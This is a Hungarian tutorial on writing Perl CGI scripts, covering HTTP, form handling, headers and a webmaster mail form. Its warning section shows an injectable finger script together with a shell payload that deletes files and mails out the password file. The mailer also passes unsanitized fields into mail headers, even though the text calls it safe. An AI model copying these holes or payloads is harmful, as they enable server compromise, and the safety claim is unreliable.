GET /dir/homepage.html HTTP/1.0 Accept: text/html Accept: image/gif User-Agent: Lynx/2.4 libwww/2.14A legutolsó sor végére tesz még egy üres sort. A legfontosabb ezek közül az elsõ sor. A web szerver innen tudja, hogy melyik fájlt kell elküldeni. Amennyiben megtalálja, valami ilyesmit válaszol:
HTTP/1.0 200 OK Date: Tuesday, 25-January-2000 19:27:00 GMT Server: Apache/1.0 MIME-version: 1.0 Content-type: text/html Content-Length: 123 <HTML><HEAD>My homepage</HEAD> <BODY>Welcome to my homepage</BODY> </HTML>Hogyan tudnánk elérni, hogy a programunk ebbe a mechanizmusba beleszóljon? Erre találták ki a CGI-t. A web szerveren be tudjuk állítani, hogy bizonyos könyvtárak, illetve bizonyos kiterjesztések esetén ne a fájl tartalmát küldje el, hanem futtassa le azt, és a standard outputra írt adatokat küldje el.
AddType application/x-httpd-cgi .cgi Options ExecCGIEttõl kezdve az Apache tudni fogja, mit kell tennie az adott könyvtárban .cgi-re végzõdõ fájlokkal.
#!/usr/bin/perl print "Content-type: text/plain","\n\n" ; $pontosido = `/bin/date` ; print "Udvozollek! A pontos ido : " , $pontosido , "\n" ; exit (0) ;Mi is történik itt?
text/plain: Egyszerû szöveg text/html: HTML oldal image/gif, image/jpeg, stb: kép ...A "Content-type"-on kívül még írhatunk néhány paramétert (ezekrõl késõbb), a lényeg, hogy az egészet egy üres sor (\n) zárja le!
#!/usr/bin/perl $counter="counter.dat"; print "Content-type: text/plain", "\n\n"; open(FILE, $counter) || die "Nem tudok olvasni a szamlalo-fajlbol.\n"; flock(FILE,2); $visitors=<FILE>; flock(FILE,8); close(FILE); $visitors++; open(FILE,">" . $counter) || die "Nem tudok irni a szamlalo-fajlba.\n"; flock(FILE,2); print FILE $visitors; flock (FILE,8); close(FILE); print " $visitors \n\n"; exit(0);
SERVER_NAME | Szerver hostname/IP cím |
REQUEST_METHOD | Az oldal lekérésének módja, bõvebben errõl majd a formoknál |
PATH_INFO | Ha van egy CGI programunk (/cgi-bin/prg.cgi), akkor arra a kliens az alábbi módon is hivatkozhat: GET /cgi-bin/prg.cgi/dir1/dir2/stb. Ekkor ez a változó a "/dir1/dir2/stb" értéket fogja tartalmazni. Így egy könyvtár vagy fájl nevét adhatjuk át paraméterként a programnak. |
QUERY_STRING | Ha a GET /cgi-bin/prg.cgi?param hivatkozással próbált a kliens adatot kérni, a kérdõjel utáni szöveg kerül ide. Helyes lenne a GET /cgi-bin/prg.cgi/dir1/dir2/stb?param is, ekkor PATH_INFO-t is kapnánk. |
REMOTE_HOST | A kliens hostja. általában nem látjuk, ez a szerver beállításától függ. |
REMOTE_IP | A kliens IP címe, ezt mindig lekérdezhetjük |
CONTENT_TYPE, CONTENT_LENGTH | Ha a kliens küld valamilyen adatot (újabb browserekkel például fájlokat tölthetünk fel ilyen módon), annak a típusa és hossza |
HTTP_ACCEPT | Milyen típusú adatokat képes a böngészõ értelmezni |
HTTP_USER_AGENT | A böngészõ neve, verziószáma |
<HTML> <HEAD><TITLE>Elso urlap</TITLE></HEAD> <BODY BGCOLOR="#7F7F7F"> <CENTER> <FORM ACTION="/cgi-bin/form.cgi" METHOD="GET"> Vezetéknév: <BR><INPUT TYPE="text" NAME="vezeteknev" SIZE=20> <P> Keresztnév: <BR><INPUT TYPE="text" NAME="keresztnev" SIZE=20> <P> <INPUT TYPE="submit" VALUE="Mehet"><INPUT TYPE="reset" VALUE="Mégsem"> </FORM> </CENTER> </BODY></HTML>Ezt a Netscape az alábbi módon jeleníti meg:
A SUBMIT típusú gomb megnyomása után a FORM tag ACTION kulcsszava után
megadott címet próbálja a böngészõ elérni. A paramétert úgy adja át, hogy a
címhez hozzáilleszt egy kérdõjelet, és a paramétereket.
Ha a fenti formba
beírjuk mondjuk azt, hogy Olajos Alajos, akkor az a
/cgi-bin/form.cgi?vezeteknev=Olajos&keresztnev=Alajos címet próbálja a
böngészõ letölteni. Próbáljuk kiértékelni az adatokat!
#!/usr/bin/perl print "Content-type: text/html","\n\n" ; print "" , "\n" , "" , "\n"; $query = $ENV{'QUERY_STRING'}; ($param1, $param2) = split (/&/, $query); ($id1,$val1) = split (/=/, $param1); ($id2,$val2) = split (/=/, $param2); print "A kapott paraméterek:
" , "\n" , $id1 , " = " , $val1 , "
" , $id2 , " = " , $val2 , "\n"; print ""; exit (0) ;
A paraméterben elõforduló speciális karaktereket a böngészõ kódolva küldi. A space helyett + jelet, az egyéb speciális karakterek helyett azok hexadecimális kódját kapjuk, % jellel a szám elõtt.
<FORM ACTION="/cgi-bin/form.cgi" METHOD="POST"> ... </FORM>A POST metódus azt jelenti, hogy a böngészõ nem a GET valami.cgi?paraméterek parancsot küldi, hanem POST valami.cgi, és a fejléc után kapjuk meg a paramétereket.
#!/usr/bin/perl $user = $ENV {QUERY_STRING} print "Content-type: text/html" , "\n\n"; print `/usr/bin/finger $user`;Itt a CGI-t x.cgi?username módon kell meghívni, és válaszul az adott ember finger infóját küldi el. De mi van, ha egy gonosz látogató az alábbi sort adja paraméterül:
;rm *;mail -s "Itt jon a juzerlista" en@mail.cimem.hu > /etc/passwdBizony, ennek csúnya vége lesz!
print "Content-type: text/html" , "\n"; print "Content-length: 28" , "\n\n"; ...Státusz kódok
200 - Success 204 - No Response 301 - Document Moved 400 - Bad Request 401 - Unauthorized 403 - Forbidden 404 - Not Found 500 - Internal Server Error 501 - Not ImplementedEgy példa a használatra:
print "Content-type: text/plain" , "\n"; print "Status: 400 Bad Request" , "\n\n"; print "Szerdan nem dolgozom!"A legfontosabb ezek közül talán a 204-es. Ha ezt küldjük el, a browser nem csinál semmit!
print "Content-type: text/html" , "\n"; print "Pragma: no-cache" , "\n\n"; ...Ekkor a böngészõ minden egyes megjelenítéskor újra tölti a lapot. De van egy másik megoldás is. Ha a lapon lévõ információk egy bizonyos idõpontig érvényesek, akkor a következõ módon kell eljárnunk:
print "Content-type: text/html" , "\n"; print "Expires: Monday, 31-Jan-2000 17:17:17 GMT" , "\n\n"; ...átirányítás
print "Location: /thanks.html" , "\n\n";
A mûködésérõl talán annyit, hogy ha GET metódussal hívódik (azaz egy sima link mutat rá), akkor kirajzolja csak a kérdõívet, míg POST-nál kiértékeli a kapott adatokat, majd elküldi a levelet. Mivel a sendmail közvetlenül hívódik, nem kell bajlódni a "gonosz" karakterekkel.
#!/usr/bin/perl $webmaster = "webmaster\@domain\.com"; $subject = "Megjegyzes a honlappal kapcsolatban"; $request_method = $ENV{'REQUEST_METHOD'}; $sendmail = "/usr/lib/sendmail -t -n"; if ($request_method eq "GET") { &mailform(); } else { &get_params(*MAIL); if ( (!$MAIL{'name'}) || (!$MAIL{'email'}) ) { &hiba(500, "HIBA!", "Szükség van a feladó adataira!"); } else { &send_mail(); &uzenet(); } } exit(0); sub mailform { print "Content-type: text/html", "\n\n"; print <<MAILFORM; <HTML> <HEAD><TITLE>Uzenet a webmesternek</TITLE></HEAD> <BODY> <H1>Üzenet a webmesternek</H1> <P> <FORM METHOD="POST"> <PRE> Címzett: $webmaster Téma: $subject Feladó: <INPUT TYPE="text" NAME="name" SIZE=40> E-Mail: <INPUT TYPE="text" NAME="email" SIZE=40> <P> <TEXTAREA ROWS=10 COLS=60 NAME="message" WRAP=VIRTUAL></TEXTAREA> </PRE> <INPUT TYPE="submit" VALUE="Mehet"> <INPUT TYPE="reset" VALUE="Törlés"> </FORM> </BODY></HTML> MAILFORM } sub send_mail { open (SENDMAIL, "| $sendmail"); print SENDMAIL <<MAILVEG; From: $MAIL{'name'} <$MAIL{'email'}> To: $webmaster Reply-To: $MAIL{'email'} Subject: $subject X-Remote-Host: $ENV{'REMOTE_ADDR'} $MAIL{'message'} MAILVEG close (SENDMAIL); } sub uzenet { print <<UZENET; <HTML> <HEAD><TITLE>Elkuldve</TITLE></HEAD> <BODY> Az üzenetet postáztam a webmesternek! </BODY></HTML> UZENET } sub hiba { local ($status, $ok, $magyarazat) = @_; print "Content-type: text/html", "\n"; print "Status: ", $status, " ", $ok, "\n\n"; print <<ERROR; <TITLE>MAILER HIBA!</TITLE> <H1>Hiba!</H1> <H1>$magyarazat</H1> ERROR exit(1); } sub get_params { local (*param) = @_; local ($query,@parok,$par,$nev,$ertek); $query = <STDIN>; @parok = split ( /&/ , $query ); foreach $par (@parok) { ( $nev , $ertek ) = split (/=/, $par); $ertek =~ tr/+/ /; $ertek =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg; $param{$nev} = $ertek; } }
No és persze rengeteg tapasztalat